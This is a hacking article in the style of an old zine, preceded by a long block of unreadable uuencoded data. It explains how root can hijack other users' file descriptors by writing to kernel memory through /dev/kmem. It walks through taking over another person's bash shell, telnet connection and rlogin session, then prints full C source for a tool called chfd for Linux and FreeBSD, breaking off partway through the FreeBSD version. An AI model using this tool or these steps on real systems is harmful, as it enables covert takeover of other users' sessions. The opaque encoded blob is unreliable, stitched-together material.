ME,4Y:<1-;&W5+%>99$Y+,J!7_DO5 K?5:]2F?-,E7J=1;5?)PPA4[QU57R[55 M"Q36DXM583Y1=YS')T-4BM;5:YU55 >U=K>]> ;9#'U6F"+5?L3/JU#5@JVU9kML(8M@FU5@151?BY%?[75:Y=1:R^A<-Y9&*_9B$U8J(XQB=S4SN;4F%PQE0]!@ MS&35?2Q8LVPQF-\UFVY15/_:84"I=.[8N,99E:4YB8<5E^_)8=_:0M".A?M8L M@XS82:?58E(9A]Q1B&Q9DK_:5J#9GD_)I$Y%6:_4^S^YAK?8J'P0]P_955Q9=hM#O'80.95L+58OR]9L198[_^ V5F>6,"/N;AGT:',U:;<57[.V2=MV#Z/6T_AV MX;ON6::TS<4EV2.L4]OC6<147<)D50P570PMW*#_P;BEW;BWW347U5> .6>(NWY=96*Y&79V@W;D&1>>?5>9]W>REU\Md M1>[G7>@\52;T7#6F70KBJ*?XU9EF7?#6P=G>*^,07--,7#*/6)=R1I:Q:W>1W M&;,D7//KW//X7,H_7=T]U;\&-: =79(>WZ!Q8::$W@667/FO6=H.I:746X-X7 M D_^,5CJ==GI99F']A6+O%VE;]H2U)85'6(%G]619N%Q1"F?)N TEL6=O]HV-6%"[MVA? M&)X3I.$ES2W7A=8]%L8!5>$]:%( !V?':I9#]%E#5^'?Q"T7EV"27'=Y?_B;"7?5EZJN**GE2v MRGOF9M8(V^1-WE9DQ.]F326*:3_E%;R>(<&*4WE=LQFUF+DBJJ*98*B- MW=KF4UZBDX)>>Z=B>@W6;#YFY\/F0+1I:<2^C-9IO0+JCOY4/!1FD<]G^[#B9 M8Z=A1S[8_Z(JD*S>FD;%_9?I4#UIA<86 ,8^G\V,44?HE=\NGO>6 E;*E91:I M@H;;OPAB*CUJI@YJPGLZ/^QBHL1FJL;+SFG@MPP+Y@EHG V2K]:NK*W&FL9J* MF\8J+(<6KO]HUNTJM7X7^M/BF_X :K]G:K"^X=UUK@[6T M]K/5Z0D!JG8#XN< XIR73KL_X2O[ZL!$;LA4[JPQ;@!V;-X_*D-%ULBF;2CK[ MK[I-(KI^8KFW3LI<8LZ4ZM!6DL?JZM#/[J@-;L(_$C>,XD%?:M9>3FW#[Z,@: M%M;MQLQ_[0IKZ_#*EMGF[L*5V<)OZK!$6NG>8OYJ[@ QYN=WZ1JJ;7JY[KHE; M*KE_ZI/_7IK&;WT(+DE_58[_;9#>ZO%/Z.'5VO6FVO=W[FBGZC87[:S&ZONVl M7H)\TO]UVO_F[1^^;C '<< 5\P)VSP!M;NITVP14\>>5;;^D[PB4\.H7XkMLP#GWPO\Q?(I7=W@K_'0]_,-#W+]M6[S3&,)-G*#?FY%'/'E%NL4SO,9AW,&S MSFL5I?*)1''UCG'IU?,>=^,2S]\=+.,B%O#/[N\AQO&N1/,D7&<3#E,._M\2A M@7,GA,GZ-G&,2^LI=')G5N\FI^,F]G%F7G*65>\K)O,RS^,S#/,U_=]1'4M=-G[QD/T3O*,3R\91"3OYK0E9B00:F[P9U:%;G9cM,QX761<5FJ?IZZ5V*E15K45K@.=F51%6/IQU>,E[AHYWAR>:/(SO<O?+YIQZ8C (OZX/7N,\!OD>:QA8YL%,QE]37[GD7OF5?Y[73Z'.);2*9N,aM2-%LXCUO$?[[0;>KH[1?E]=KAG3ZWB5Z5EW[@*1B')1[=BQZ/M;Z+J]Z@K_[B MB,=Z;W#CI/QQG?_OMI%[8;=T\SYY7_YI#[DWET&F8[J7$?[V^UM>]0W'X(OXy MO\"-9V^O[M[TC\.^*6'W^[6=A\_J/C>VF/5A+ .[?L=\\M9\]&\ MU[U4TD1S7\Q7\[%6.])_=\IU5Z!L7ZML:MQ,7]9%X[%GYZY?4]0/>]C-4]E.> MJ\3%8HSP7]Z/:[&F,]W69]GG9\1$;\AL]1A7,^+N7YJFKUQX6^K%[[0G?N84? MR;Y%_F6],7:V_B*S5G$0?2XP_I&*KFCV+%NW.G6G; M^NGT[$VS9M2G+(J1[M^5#NP*M8OU[%:[@P6C[B@3\M^'(I7I-KO4:]O%8I7L) MF6[Z,V3'>S)P[3Y4[D:A=A$(IDKTHT.G U8<]NWZ-,?5!UB,7,[Z-&W)8AW-S M]P_X-_"9=GL&+&P]-V;=NT\I)-V^]%3'KZ,>K8ZXM/3%UY(TK>^?Z?+ESZ^3+oM_DQQN/OUOT,]'=Q5[>J+AIQX#J[]/=3[@^HJ/)N?=W7]%<0<@?@;_&C?<: ,)$8X8XPNWJBB@P/*N&.)(_Z(8Y -HB=DD7%I1B2/-OHXH9%.EB=7@O"% M7Z.-D-#Z))4TL9LDE>$-1*:&4.H7799F6H;CDE362)B9Q:YH)IVE)QADGFD"F MJ[::)&-E)9Y]!\3DE@60.ZB>=6Q9:)J""DJDHHHZJ]=6B>>+IY:./'FKIDWQ: MS2:B.NV4*JE";>BIAI*$6BNFI06XZEF@*NGG7J*K.:A.KL*[TJJLXT6KHG+RV M@R"JNP@YUTJU)_8JLJ2H19RQ7Q08;;+(&_Z8J+8/1#KOLM==6"^JVS>ZI+;=9hM#4BLN?ML2=FZYB*8K&+OJ%D?NN^:Y^Q:]\III;UOYWNM9O/Q6MR^D_Y8;\%D% MX#WRFKP@#;.["W!Z\HL,Y*BQQM.&-cM,4WJGI)0#:[G?>O\^_NGF[4XNNI9P7Q[HL:6[V&B5F7,*^>I#DRY[WU\JB7GN MXN-=^7^N#IAX[[P;3+OSMJKO>V_'%JWRZY[!?#OWRPA$OO7_&(P^F]=5/VSSH MBGON^O:C4A[\[H]D['SWY2%^/NN;GJU_T^/"C__W[GVL_/]#=WU\_^_G7*K__ MOF:Y*=B&5W@2(H,ZASX#V0Z#= BA 6^GJ*!/TGP/7]Y4*RHDWB;N@EB#XOVBy M&+3)H4Z '82/"MY%P3&D[85Q F+]SA:ML+K38UVB(PQH^<(0Z]-[^@F?"'F;& MU6S=LH1 SR,,C/L^(3 RB$M%5Q";^\(GG2>(192B3&5*Q95%T(A"W&!K_&,X/ MJBSF4(AB=UL4IXN^,2"KA%LEHNSBRL5UIM*#RYK@7,<(/CF:\(QZQ5D<_"O*v M/N+*B$/GHQ= 14E^!_*(=%SDW#R)2C0=C)08(RE!@;924_N4D]JB^5CE0E*PM7QC[6$I*R)!\MdVG+6_Z$B%DL MWIC +J<(G_I*4L#QFY8R9RU*R\90(7.8K@^E,J$%3CIK$(S4C:+IH-C.;6G-E M8 X')2T/VT)KG9"8Y=[9-7:*3D-\,83BY*FG-,VH9K*)TUGJ5*)L(FK)VO2M#0'UI&&TZDH86CVCTJ\H4E(:5I/:oM_L::2M*I@C6!;ER=6'[;1JQH[JY"V^E*D1K63;RU>7/DWU[XBRZZK4NM16[74 M%4.Z5H5-%*3+/"MG(2G:RE*VL92^+VBO6YB;IFM?^ZO>UKI2N[Y@XPN,DE&$!99URYND2XO,WJ.G\+TRIB M%#TN]S2OGQ\9ZQ0NDK2P&0E+XYC;-W9FIBKZH6ND*?IXXA>6S:;ZH8:%\F MX,XU//%X?NSG'9CYO4\>LTE.U>>?I5'7<2S:U],9^!O&$N41?%1N[_ M&\DVS'+DM&_K0)JLSI36T:$#<,8UJ8S%S"5UH08LW49:.R&LO)MB=. M_B%WLP]XdVGDV-J:1G6)ATUG7=B86M:LM;=7*&=!.[3,2:ZUM)#>[I=Z>-+FMcMOF:IQVQ3>"P+4G^<=[H"ZFG#VKK*__PWP@ M\X 17<[H##>P3]EO>Y<8WJO';*\K-N,#QO6#1;QTSN!4[&BOM]EC;?&6 M5/Q3EL\0Y!P_^]-]RC[;*[$Y6O->\J&3O- S9?F1X[7WIB/]XV!M<=%X# MU7KGHUOJ[4?ARO@,][NE9?-_]+O*;'UV23M=\Y ??LLP/OO$;\_SF.7_Z5M,] MJK$.'.N/_7GO;ZS[TN'<]T]O.>\F/'I4%+[[QCX_\Y",_OJN/\.SA"G'3_][1 M/8?-]['?_>6NI/OC2Y_38K*[EZ#??\A;;/O9?C_KCB#_MK#_YY/>8^^Q?_OQJ MECS_W;_]3\Z-__,<$?_BMW_]^X(9Y%49^T@"S$:!8[2"("B (IA M8!!G09J,WAL/'>#^^=V*6B!rMVSM>".;6# =AY3AB!!C@O.\B#$EA#_C=A1SB$4>=>/7B%8CB&9,B$^I:#HS6% MF5@@O;@B!:<@]$WP>&3RASS(>(pMZ[*6%5&AT9Q=0APB#_B'"EB%@>B(P@>)5R2)ESB)-F2)E&B'F3B*I"B( M;BU3_B![XB:AX@:>8BF'(5)H8B"[DA1_6BG;XBGV(AKJH:(U8BX2(A])S7YNH M%/[!HC( (B[&(B;:XBE\7C0UXC+PH@;N(@9TH)]289CKG3+<8:?)S2N/X MCH,-$A\DX+;U&CH(&CL18CM$528LGCR>X=><8C.K'2?,X-Q]XAU%X4?18>P') M"CRADC\MX@ "Y=P))CRK(C917>NL'D0@HBM;8?29(B\'6:HV.2]I+N)(DZ+6CDZ3>1_YD"'IC,.8jMB7>(GD[*V,D'9>0NIC]0SD(J'DCNYE#=Y=>\84TU).CKI_Y1_DI!7B9 +.2\Y M@R952Z9/P]Y6KTY4I299:.5UCR91E695J@98W0Y50&3=K^7U#IWIUJ9+UYY6E MN]I9A.418>8)@R9>^!)?#%8]&:9ARF8UJ.96 &9BI-SY'25=)*8S^R%#2:)D< MXZ6!PIY2*:55[29F;.2J7R9)Q-IK;5IHFY5UY.7J>B9FH>56#Z9K:IYJER9JG M& 9LU@YBW&6]*9Y>\>9>Z*3&Y"9P/5YC%B91F.9QU!9O).9,V69. )YS,N2[+ MRK2VIX2'6V1?8*1_6V1'Z41"RT2%8X9W=^9T=@B'D&1'<:9X?99OrYG3:)L]. M%I_2^3'1B3 ?HAV)@9\0@9^VT?\46:$5?G$A KH=!"JR>(<>!4J?"YHSU%F=McM YJ?]D&@^QFK@^FA BJA%IJ?_<&A'S(=ML&@(8HU#EHM_9DA$4HA)[H8((H8ZLF=VYDA.]J=M)&=XXF>X-FCU\FBZIFC"5J>LaM(42BTN*C&JH5+*H=A@$51_JB\D&CV7E&E+JC/IH54@I&_=D:%/UH0IJE5*J@z M9ZJ@V,&?(F&F'N)6C@JAE0JFL>&EV+F># M3#&JWH(G_$1JI>QIGN@IGJOZH5W:GIQAHOJ1H8JAHEG:'Z&Z%1GJIW<*K%^-Z MI_\HIS5C(4&JG3B:GCA*JA@RTJUZJEV:IKAJI$DZK1Q!%J38JI0:I=J*I9]:v MH'^:J9H*IY[QI'1ZJ]"!IN-:IEM*(7V:'7R:HS^*IS(JF,4JHJY!J-MAJ9J*u MJ%#Z)KG:K_8JHX1*IYF!KI@ZK(L:H>+*JP&:IS$JK_Q*K@1+K)*:K]51J_9A2 MB+DZHX?QL"T*H_%JH!,JJ:!8&-GJKYZ:J+WJIBL;L!1[G2QKI]H:LD^)KQE+ MJQ[+LJ=]H V[K"BKJQ$KLEQ:IY.7KI9QK.N)K$)*K4O+K$=[_ZWSFJ3K*K3G!rM2J5>&JFMJ;/ID; #N[!U^I^>&K)L*J@26[)7X:%"V[7[U:1M>Q,J.Z6;"K96% M:[4/:[;[P:X&&A@V"[?O8I]_.Q5+^ZHZ>J+\&;6)^ZP\ZJS'.K6%EZZL6JZ"(pM^S!O2[F7B[EO-Y^9R[F=.X 8Z[FA*[HK8KFC:[J>&[BGJ[JK*U4_8+JUOJ.I( M"[NSR[FR2[NW*[BVB[N[&][NR[N_&YNZ"[S*#RS"2[S'>YO&B[S+NU'*R[S/H M2T[.&S6'"Q2UX;1&0KWDD;V6LKTV<;C=&[V^BS/62Z2NVJZH*J0WJR+D&Z3FX M^[+LFKY-*ZO)^J1A6RCLJZ2ONJRV^O^OJ"F]3>.?[\NVXJJK6!+ \)NBWXFK) M @RI1LJ!XS ,0NL]MM_XFNL$]NBVTJSCQLD$KS!"?RS+KNHC +VX,JVIkM?@+"(4S!&IS"PO2_2@/"#=S"'_O"+C+# .L7V:FP(_RQYQJNM++"-%S!)7O#8jMH87!,)/#(DNJ%)NFZILB2QRKTLK#=;ND__J?XPG%93+$)]O$#'NA6SQWH*L^" M;CS A>K"!JS!PJJGZ-JC@*JF.G/S$<+%1;O&TRK&#+BY-;3$/ES!MYK'"]+&' MUUNS8]JW? NS@:S&:;N9W=S 'GS!.5L[^*N_8=NLUFK#3D+);XRXK%K)X FY< M5URUX>G#BOS_))1LS295e MS=OLS<0GR=\LSF,-LSA#5S>>LSM 7SNOLSNOTRN\LS_P6S_-LSX;7SO>L> M_V"9S?OLSPZ8S_\LT"U6SP-MT"F3S@>MT#U5T OMT B3T \MT0X3T1-MT?Q72cMT1>MT:G9SQOMT5R3T1\MTI46T"-MTLI9TB>MTA#=T"OMTG 2TB\MTTV7TC-MMT_E7TSOMT]W2TDC\U++9T4-MU(A6U$>MU)F2TTOMU&S6_]-/+=4\H MBC=1;=4N%]17K=5]&=5;[=6]5\Y?+=8T7=5C;=:8EM5GK=:?D=9K[=8ST]9OU MB=< U-5S;=>24]=WK=1;=EXW=B7K=E:$]>;O==-[=F&#=JA+=BC3=I^;=JGK=>IK=IVx MS=JMB=>O#=MN+=NSK=:U;=MFC=NY+=:[S=M>[=L%A;X0G,H*_-ND%MFWQ,H\6_G*X+2]S8;9*9G9R=6K&*VJM:v MW,%S+-Y@7=F7V[?+?9I'% /OOWINU')S&&T'*P\RK2^[?YGNH!rM*UKCU3+C99SE49[E8YX6:EZ]$^RSONSDF6S*^YG+7F[C>.S"28OD&@ZW%?*C% M1EJ^WQO@$VNK%5[HVSG"]2OHU?KGLQJYC6NJA2ZY?KRRCAZN6KSH"LS)"!KA(pMUJVC[DOGCQZY5N'_YWI;M7^>QH/.R&P^6"K^/W?KZ:&>YC\LYD9LR,;MK]P-o MY=8+LG'^R"=\L+P^ZXP,QOE[PL3.MWE:W:=>RM>=Z-AX:P!.ZM/>P_"8Y/N-n MPL]]QL3>P-VNRH;,K+O:P@0\RL6]WO2MH>'MW+:>KMB!X(_.X%F,I"/KQ)>,X MQI]*IMUKYY@.L[;EZOG#K=J.Y===Q7[^I7K.L*I.PD5,[JI,R%ULPM$.QM*.) MY[W^J$Y<\?;=QW(L\6&^O^Q^[I(+Y"A][:@IMRAZX([:W$J:M<9]ZB=>[/CNIkM[!-?PH5JMOOZM7L+R'F.\3G?[+ANW_=.Z7DKZ]4]N:$NH0H_I7Y[XWO^3_]P8jMC:ST*NK[H>[#KIK;[I]7JNA&CNI27[C<_?4WGNGZV[X0&\IAC\EH/^'=?>5K" M6O;*JO9G;Z]3GLI86^'Z&?54"_

JK42NHC7S%ESD8W:^=1P>HXKL)G3N0Uh M7]X5+\A7Q61SR6-'QR13^*4#Q.6[^\G'N-K+?B?[]*A+_HJ3?H S_EGO M ?@NVOBKGQ\7?K[?'1.I'^F*SXF:Z;GVCN9^?[",/^):ZQ,-+ZK ;_ACV^1S1 M?^3'W_2X[/?7Y?F0W[*[C^MDRMQ?;L6^G_Q-WOO&#/1O?NZS?QR%?_NNNT41e M/QMB_O#@#K5^;/ M'/C/($&#"04B/,AP(<$/"ATF9%AP(L2("B46?+@QHT2-!T..)%G2Y$F4*56N2cM9-G2Y4N8+P',I#DSYDV<.77NY-G3Y\^7'REF_,A19$FC%$ER)"HT8E*B*YTVV36LTYJES;\7BH MY0O4[U_ @063K%ES\&'$B14O'NQ6H%R,29?:G=LV\D.(6T]BA$S78V;,125/z M=DR:\E&W:"%?GFM1L^K7>65K'NJP--[4C^N.KEQV:^G;C(4/)]ZS,,WBR94Oy M&^[3\=[@<;O>?C[;3=W+['A\=M?:][NNHGx MRI;/?GUS_/F9'[>IW_]_ (NK[C?[UD*-K>SJFJY VL;;3B\'Q3)//>X0%,\WO M"MN#2S?)$JS00;(TU$Y!$ANTC+L'&0QP119UX@^ %F.4<<:@H++(1O"NNJ@9B MSC[SL;;H0&OHK*:$Q*PVL)C*,;3-=B02R8ZB'#(X'D5+[:PIG1*RQR$]&NM(u M(+4LLDLNO2+M,RN7I'%--O]YL4TXXY1S3CKKM/-.//,TCC\]^_3S3T #%71H0 M0@5]LU!$$U5T448;=?11A0Z%=%)**[7T4DPSW?,X33OU]%-00Q4U3TE'-?54s M_U135755GDIE]57]S.MK)UGG@_567"UU-5=>62HS**E^LA7%7HLU-M%=CU66!rM6#AE57%9:*.=,5EIE7T/M"J[1!-*+ZD:UCKLJA5WW!BI)9=7";^J3\380C3Qq M^N#/E7?>_?BDU]Z@M6.PPF_7S?!#,^\5>.#$S"4XUX;ONQ!>;@E<^-UG9SUX(pM8HIQ,KAB4:'3R\/U4@31X@=@9Z:**+-EHCH8]6>FFF*TEZZ:BCECK:IZ>V^FJL4ZTZInM1:Z[]IK2K;\6>VRR_PR[;+335IO&L]=V^VVXE6L[;O^:Z[;;K[GOUGMOOE?*m MNV_ P?\;\$+-QQNP@]7?'&Q$V?\<G++,]?\9,PW]_QS@3L'l M?732I16]=-13S_\5TUMW_5367Y=]]DQCI_UVW!NU/7?>>P]T=]^#%[Y.X(>8++;YYZ*,G[GGIJ[=>,.JOUW[[G;+G_GOP6?(^?/++#VE\\],Gj M'WWUV]^>???CEQY^^>M?GG[[\Q<>!?_WSYU__P50=@ 48 %31T #)A!T+V)@= M@QWX0 A&4((3I& %+7A!#&90@QOD8 <]^$$0AE"$(R1A"4UX0A2F4(4K9&$+h M7?A"&,90AC.D80UM>$, Introduction ------------ We often hear of tty hijacking as a way for root to take over a user's session. The traditional tools for this use STREAMS on SysV machines, and one article in Phrack 50 presented a way to do it in Linux, using loadable modules. I'll describe here a simple technique that lets root take over a local or remote session. I've implemented it for Linux and FreeBSD; it should be easy to port it to just about any Un*x-like system where root can write to kernel memory. The idea is simple: by tweaking the kernel's file descriptor tables, one can forcefully move file descriptors from one process to another. This method allows you to do almost anything you want: redirect the output of a running command to a file, or even take over your neighbor's telnet connection. How the kernel keeps track of open file descriptors --------------------------------------------------- In Un*x, processes access resources by means of file descriptors, which are obtained via system calls such as open(), socket() and pipe(). From the process's point of view, the file descriptor is an opaque handle to the resource. File descriptors 0, 1 and 2 represent standard input, output and error, respectively. New descriptors are always allocated in sequence. On the other side of the fence, the kernel keeps, for each process, a table of file descriptors (fds), with a pointer to a structure for each fd. The pointer is NULL if the fd isn't open. Otherwise, the structure holds information about what kind of fd it is (a file, a socket, a pipe, etc), together with pointers to data about the resource that the fd accesses (the file's inode, the socket's address and state information, and so on). The process table is usually an array or a linked list of structures. From the structure for a given process, you can easily find a pointer to the internal fd table for that process. In Linux, the process table is an array (called "task") of struct task_struct's, and includes a pointer to a struct files_struct, which has the fd array (look at /usr/include/linux/sched.h for details). In SunOS 4, the process table is a linked list of struct proc's, which include a pointer to the u_area, which has info about the fds (look at /usr/include/sys/proc.h). In FreeBSD, it's also a linked list (called "allproc") of struct proc's, which include a pointer to a struct filedesc with the fd table (also according to /usr/include/sys/proc.h). If you have read and write access to the kernel's memory (which, in most cases, is the same as having read/write access to /dev/kmem), there's nothing to prevent you from messing with these fd tables, stealing open fd's from a process and reusing them in another one. The only major case where this won't work are systems based on BSD4.4 (such as {Free, Net, Open}BSD) running at a securelevel higher than 0. In that mode, write access to /dev/mem and /dev/kmem is disabled, among other things. However, many BSD systems run at securelevel -1, which leaves them vulnerable, and in many others it may be possible to get the securelevel to be -1 at the next boot by tweaking the startup scripts. On FreeBSD, you can check the securelevel with the command "sysctl kern.securelevel". Linux also has securelevels, but they don't prevent you from accessing /dev/kmem. File descriptor hijacking ------------------------- The kernel's internal variables are really not made to be modified like this by user programs, and it shows. First of all, on a multitasking system, you have no guarantee that the kernel's state won't have changed between the time you find out a variable's address and the time you write to it (no atomicity). This is why these techniques shouldn't be used in any program that aims for reliability. That being said, in practice, I haven't seen it fail, because the kernel doesn't move this kind of data around once it has allocated it (at least for the first 20 or 32 or 64 or so fds per process), and because it's quite unlikely that you'll do this just when the process is closing or opening a new fd. You still want to try it? For simplicity's sake, we won't try to do things like duplicating an fd between two processes, or passing an fd from one process to another without passing another one in return. Instead, we'll just exchange an fd in one process with another fd in another process. This way we only have to deal with open files, and don't mess with things like reference counts. This is as simple as finding two pointers in the kernel and switching them around. A slightly more complicated version of this involves 3 processes, and a circular permutation of the fds. Of course, you have to guess which fd corresponds to the resource you want to pass. To take complete control of a running shell, you'll want its standard input, output and error, so you'll need to take the 3 fds 0, 1 and 2. To take control of a telnet session, you'll want the fd of the inet socket that telnet is using to talk to the other side, which is usually 3, and exchange it with another running telnet (so it knows what to do with it). Under Linux, a quick look at /proc/[pid]/fd will tell you which fds the process is using. Using chfd ---------- I've implemented this for Linux and FreeBSD; it would be fairly easy to port to other systems (as long as they let you write to /dev/mem or /dev/kmem, and have the equivalent of a /usr/include/sys/proc.h to figure out how it works). To compile chfd for Linux, you need to figure out a couple things about the running kernel. If it's a 1.2.13 or similar, you'll need to uncomment the line /* #define OLDLINUX */, because the kernel's structures have changed since then. If it's 2.0.0 or newer, it should work out of the box, although it could change again... Then you need to find the symbol table for the kernel, which is usually in /boot/System.map or similar. Make sure this corresponds to the kernel that is actually running, and look up the address for the "task" symbol. You need to put this value in chfd, instead of "00192d28". Then compile with "gcc chfd.c -o chfd". To compile chfd for FreeBSD, just get the FreeBSD code and compile it with "gcc chfd.c -o chfd -lkvm". This code was written for FreeBSD 2.2.1, and might need tweaking for other versions. Once it's compiled, you invoke chfd with chfd pid1 fd1 pid2 fd2 or chfd pid1 fd1 pid2 fd2 pid3 fd3 In the first case, the fds are just swapped. In the second case, the second process gets the first's fd, the third gets the second's fd, and the first gets the third's fd. As a special case, if one of the pids is zero, the corresponding fd is discarded, and a fd on /dev/null is passed instead. Example 1 --------- . a long calculation is running with pid 207, and with output to the tty . you type "cat > somefile", and look up cat's pid (say 1746) Then doing chfd 207 1 1746 1 will redirect the calculation on the fly to the file "somefile", and the cat to the calculation's tty. Then you can ^C the cat, and leave the calculation running without fear of important results scrolling by. Example 2 --------- . someone is running a copy of bash on a tty, with pid 4022 . you are running another copy of bash on a tty, with pid 4121 Then you do sleep 10000 # on your own bash, so it won't read its tty for a while, # otherwise your shell gets an EOF from /dev/null and leaves # the session immediately chfd 4022 0 0 0 4121 0 chfd 4022 1 0 0 4121 1 chfd 4022 2 0 0 4121 2 and you find yourself controlling the other guy's bash, and getting the output too, while the guy's keystrokes go to /dev/null. When you exit the shell, he gets his session disconnected, and you're back in your sleep 10000 which you can safely ^C now. Different shells might use different file descriptors; zsh seems to use fd 10 to read from the tty, so you'll need to exchange that too. Example 3 --------- . someone is running a telnet on a tty, with pid 6309 . you start a telnet to some worthless port that won't drop the connection too quickly (telnet localhost 7, telnet www.yourdomain 80, whatever), with pid 7081 . under Linux, a quick look at /proc/6309/fd and /proc/7081/fd tells you telnet is using fds 0, 1, 2 and 3, so 3 must be the connection. Then doing chfd 6309 3 7081 3 0 0 will replace the network connection with a /dev/null on the guy's telnet (which reads an EOF, so he'll get a "Connection closed by foreign host."), and your telnet finds itself connected to the guy's remote host. At this point you'll probably need to press ^] and type "mode character" to tell your telnet to stop echoing your lines locally. Example 4 --------- . someone is running an rlogin on a tty; each rlogin uses two processes, with pids 4547 and 4548 . you start an rlogin localhost on another tty, with pids 4852 and 4855 . a quick look at the relevant /proc/../fds tells you that each of the rlogin processes is using fd 3 for the connection. Then doing chfd 4547 3 4552 3 chfd 4548 3 4555 3 does just what you expect. Except that your rlogin may still be blocked by the kernel because it's waiting on an event that won't happen (having data to read from localhost); in that case you wake it up with a kill -STOP followed by 'fg'. You get the idea. When a program gets another one's fd, it's important that it knows what to do with it; in most cases you achieve this by running a copy of the same program you want to take over, unless you're passing a fd on /dev/null (which gives an EOF) or just passing stdin/stdout/stderr. Conclusion ---------- As you can see, you can do quite powerful things with this. And there isn't really much you can do to protect yourself from some root doing this, either. It could be argued that it's not even a security hole; root is *supposed* to be able to do these things. Otherwise there wouldn't be explicit code in the drivers for /dev/kmem to let you write there, would there? The Linux code -------------- <++> fd_hijack/chfd-linux.c /* chfd - exchange fd's between 2 or 3 running processes. * * This was written for Linux/intel and is *very* system-specific. * Needs read/write access to /dev/kmem; setgid kmem is usually enough. * * Use: chfd pid1 fd1 pid2 fd2 [pid3 fd3] * * With two sets of arguments, exchanges a couple of fd between the * two processes. * With three sets, the second process gets the first's fd, the third gets * the second's fd, and the first gets the third's fd. * * Note that this is inherently unsafe, since we're messing with kernel * variables while the kernel itself might be changing them. It works * in practice, but no self-respecting program would want to do this. * * Written by: orabidoo * First version: 14 Feb 96 * This version: 2 May 97 */ #include #include #include #define __KERNEL__ /* needed to access kernel-only definitions */ #include /* #define OLDLINUX */ /* uncomment this if you're using Linux 1.x; tested only on 1.2.13 */ #define TASK 0x00192d28 /* change this! look at the system map, usually /boot/System.map, for the address of the "task" symbol */ #ifdef OLDLINUX # define FD0 ((char *)&ts.files->fd[0] - (char *)&ts) # define AD(fd) (taskp + FD0 + 4*(fd)) #else # define FILES ((char *)&ts.files - (char *)&ts) # define FD0 ((char *)&fs.fd[0] - (char *)&fs) # define AD(fd) (readvalz(taskp + FILES) + FD0 + 4*(fd)) #endif int kfd; struct task_struct ts; struct files_struct fs; int taskp; int readval(int ad) { int val, r; if (lseek(kfd, ad, SEEK_SET) < 0) perror("lseek"), exit(1); if ((r = read(kfd, &val, 4)) != 4) { if (r < 0) perror("read"); else fprintf(stderr, "Error reading...\n"); exit(1); } return val; } int readvalz(int ad) { int r = readval(ad); if (r == 0) fprintf(stderr, "NULL pointer found (fd not open?)\n"), exit(1); return r; } void writeval(int ad, int val) { int w; if (lseek(kfd, ad, SEEK_SET) < 0) perror("lseek"), exit(1); if ((w = write(kfd, &val, 4)) != 4) { if (w < 0) perror("write"); else fprintf(stderr, "Error writing...\n"); exit(1); } } void readtask(int ad) { int r; if (lseek(kfd, ad, SEEK_SET)<0) perror("lseek"), exit(1); if ((r = read(kfd, &ts, sizeof(struct task_struct))) != sizeof(struct task_struct)) { if (r < 0) perror("read"); else fprintf(stderr, "Error reading...\n"); exit(1); } } void findtask(int pid) { int adr; for (adr=TASK; ; adr+=4) { if (adr >= TASK + 4*NR_TASKS) fprintf(stderr, "Process not found\n"), exit(1); taskp = readval(adr); if (!taskp) continue; readtask(taskp); if (ts.pid == pid) break; } } int main(int argc, char **argv) { int pid1, fd1, pid2, fd2, ad1, val1, ad2, val2, pid3, fd3, ad3, val3; int three=0; if (argc != 5 && argc != 7) fprintf(stderr, "Use: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n", argv[0]), exit(1); pid1 = atoi(argv[1]), fd1 = atoi(argv[2]); pid2 = atoi(argv[3]), fd2 = atoi(argv[4]); if (argc == 7) pid3 = atoi(argv[5]), fd3 = atoi(argv[6]), three=1; if (pid1 == 0) pid1 = getpid(), fd1 = open("/dev/null", O_RDWR); if (pid2 == 0) pid2 = getpid(), fd2 = open("/dev/null", O_RDWR); if (three && pid3 == 0) pid3 = getpid(), fd3 = open("/dev/null", O_RDWR); kfd = open("/dev/kmem", O_RDWR); if (kfd < 0) perror("open"), exit(1); findtask(pid1); ad1 = AD(fd1); val1 = readvalz(ad1); printf("Found fd pointer 1, value %.8x, stored at %.8x\n", val1, ad1); findtask(pid2); ad2 = AD(fd2); val2 = readvalz(ad2); printf("Found fd pointer 2, value %.8x, stored at %.8x\n", val2, ad2); if (three) { findtask(pid3); ad3 = AD(fd3); val3 = readvalz(ad3); printf("Found fd pointer 3, value %.8x, stored at %.8x\n", val3, ad3); } if (three) { if (readval(ad1)!=val1 || readval(ad2)!=val2 || readval(ad3)!=val3) { fprintf(stderr, "fds changed in memory while using them - try again\n"); exit(1); } writeval(ad2, val1); writeval(ad3, val2); writeval(ad1, val3); } else { if (readval(ad1)!=val1 || readval(ad2)!=val2) { fprintf(stderr, "fds changed in memory while using them - try again\n"); exit(1); } writeval(ad1, val2); writeval(ad2, val1); } printf("Done!\n"); } <--> The FreeBSD code ---------------- <++> fd_hijack/chfd-freebsd.c /* chfd - exchange fd's between 2 or 3 running processes. * * This was written for FreeBSD and is *very* system-specific. Needs * read/write access to /dev/mem and /dev/kmem; only root can usually * do that, and only if the system is running at securelevel -1. * * Use: chfd pid1 fd1 pid2 fd2 [pid3 fd3] * Compile with: gcc chfd.c -o chfd -lkvm * * With two sets of arguments, exchanges a couple of fd between the * two processes. * With three sets, the second process gets the first's fd, the third * gets the second's fd, and the first gets the third's fd. * * Note that this is inherently unsafe, since we're messing with kernel * variables while the kernel itself might be changing them. It works * in practice, but no self-respecting program would want to do this. * * Written by: orabidoo * FreeBSD version: 4 May 97 */ #include #include #include #include #define NEXTP ((char *)&p.p_list.le_next - (char *)&p) #define FILES ((char *)&p.p_fd - (char *)&p) #define AD(fd) (readvalz(readvalz(procp + FILES)) + 4*(fd)) kvm_t *kfd; struct proc p; u_long procp, allproc; struct nlist nm[2]; u_long readval(u_long ad) { u_long val; if (kvm_read(kfd, ad, &val, 4) != 4) fprintf(stderr, "error reading...\n"), exit(1); return val; } u_long readvalz(u_long ad) { u_long r = readval(ad); if (r == 0) fprintf(stderr, "NULL pointer found (fd not open?)\n"), exit(1); return r; } void writeval(u_long ad, u_long val) { if (kvm_write(kfd, ad, &val, 4) != 4) fprintf(stderr, "error writing...\n"), exit(1); } void readproc(u_long ad) { if (kvm_read(kfd, ad, &p, sizeof(struct proc)) != sizeof(struct proc)) fprintf(stderr, "error reading a struct proc...\n"), exit(1); } void findproc(int pid) { u_long adr; for (adr = readval(allproc); adr; adr = readval(adr + NEXTP)) { procp = adr; readproc(procp); if (p.p_pid == pid) return; } fprintf(stderr, "Process not found\n"); exit(1); } int main(int argc, char **argv) { int pid1, fd1, pid2, fd2, pid3, fd3; u_long ad1, val1, ad2, val2, ad3, val3; int three=0; if (argc != 5 && argc != 7) fprintf(stderr, "Use: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n", argv[0]), 